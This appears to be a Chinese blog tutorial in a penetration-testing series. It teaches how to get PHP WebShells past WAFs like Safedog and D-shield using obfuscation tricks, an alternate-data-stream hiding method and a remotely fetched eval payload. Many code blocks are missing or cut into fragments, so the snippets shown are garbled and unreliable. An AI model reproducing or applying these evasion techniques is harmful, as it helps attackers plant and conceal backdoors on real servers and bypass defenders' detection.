网络安全从入门到精通(第十章-6) ByPass(下) WebShell的绕过

本文内容:
		~Waf检测机制与绕过
		~进阶知识
		~结束语

每日一句:
	每天进步一点点,持之以恒,终成大器
	天行健,君子以自强不息!

一、Waf检测机制与绕过

	1,正常一句马
				
			//这种有个Waf都会给干掉
			
			//多说一下,参数为数字也是可以的
			
	
	2,稍微变形(一)
		变量函数绕过
		
			绕过语句:
				
			原理:
				Waf拦截的本质还是正则匹配问题
				通过测试我们发现仅仅一个eval()函数不拦截
			测试语句:
				
				进而测试
						//这也不拦截
				那基本就是多一个“[]”的问题
			
			思考绕过方法:
				~替换掉eval()		-->assert()作用类似,试试不行
				~替换掉$_REQUEST[]	——>那就从这突破了
				
			深思:
				$_REQUEST[]是超全局变量,就是获得传参的
				提出一个函数:end()	
				//输出数组中的当前元素和最后一个元素的值
			测试语句:
				
			传参:	url ?a=1&b=123
			输出:	string(3)"123"
			
			综合:
				//这直接扫描也扫不出了
				//唯一缺陷没有密码,随便传参都可以,即
				//url ?sb=phpinfo();
	
	3,稍微变形(二)	
		常量函数绕过
		
			在提一个常量函数:define()
				
			原理:
				$_REQUEST接收传参前端a的传参,
				然后执行操作:b=$_REQUEST['a'],
				最后,eval(b),
			
	4,稍微变形(三)
		字符串拼接 + 双美元符号
			
			
	5,稍微变形(四)
		定义函数绕过
		
		通过上边我们得知,eval($_REQUEST)	这不会被拦截
		但是加上“[]”就会拦截。所以,我们想办法分离一下这两部分
		
		通过测试,得知"($_REQUEST)[]"	我们中间加个“(”都可以躲过检测
		上语句:
			
			
	6,稍微变形(五)
		定义类绕过+魔术方法
		
		name");	//定义变量name
			}
		}user = new User;	//实例化类
		$user->name = ".$_REQUEST['a'];		//给name赋值
		?>
			
		//魔术方法作用:当类被销毁的时候调用
		//什么是销毁?就是类运行完毕后
		
		其实安全狗还是比较容易过的,像D盾之类的,就只能靠一些函数
		甚至反序列化函数
	
	7,稍微变形(六)
		一些骚的操作开始
		 $value){		//将cookie的键值分离	
													//比如传参a=1,分离为:key=a,value=1
				if($key == 'assert'){				
					$key($_REQUEST['a']);
				}
			}
		?>
		
		//这个函数的最终效果是:assert($_REQUEST['a']);
		//在实战中,url a=sb	且在  cookie中 设置assert=sb
	
	8,稍微变形(七)
		继续一些骚的操作
		
		
		//get_defined_functions()函数是返回所有已经定义的函数
		//可以var_dump(get_defined_functions())看看
		//get_defined_functions()['internal']	返回键为“internal”的数组
		//['internal'][841] 就是“internal”这个一维数组的第841个数据 实际上就是assert
		//综上,最终语句相等于assert($_REQUEST['a'])

二、微微进阶

1,D盾相对安全狗来说,难度大了一些,但是问题也不大
	//写一点吧,有兴趣的同学可以了解一下
	小思路:
			
		//传输的时候,改一下请求头为1,若是菜刀或者蚁剑之类的连接
		//直接将“1”改为 相应软件的请求头即可

2,再来个隐藏小马的法子
	当你getshell的时候,在命令行执行:
			echo "" >> /:626.txt
	在任意一个php文件中:
			
	
	作用就是,这个小马被隐藏,dir也是看不到的
	但是,仅仅可以在win系统 --->安全狗是扫不出的,D盾的话,会报可以引用
	可以在前边在加点函数绕过,就不扩展了,有兴趣自己去试
	
3,制胜大法
	
	//本质就是让服务器去连接读取我们放在公网的数据库的内容,
	//我们在数据库具体的表存入:
			eval($_REQUEST['a']);
	
	最后,服务器可以去买个学生机之类的,记得貌似9.9一个月

三,结束语

1,到这里,耗时近2月的小白成长之路已经接近尾声。等等我修正几天,看看再开
	一个进阶栏目。不管怎么说,大家一定要注重积累,1万小时定理。
	
2,注意渗透测试的尺度,不要碰黑产。做一个正直的白帽子

你可能感兴趣的:(网安小白的成长路)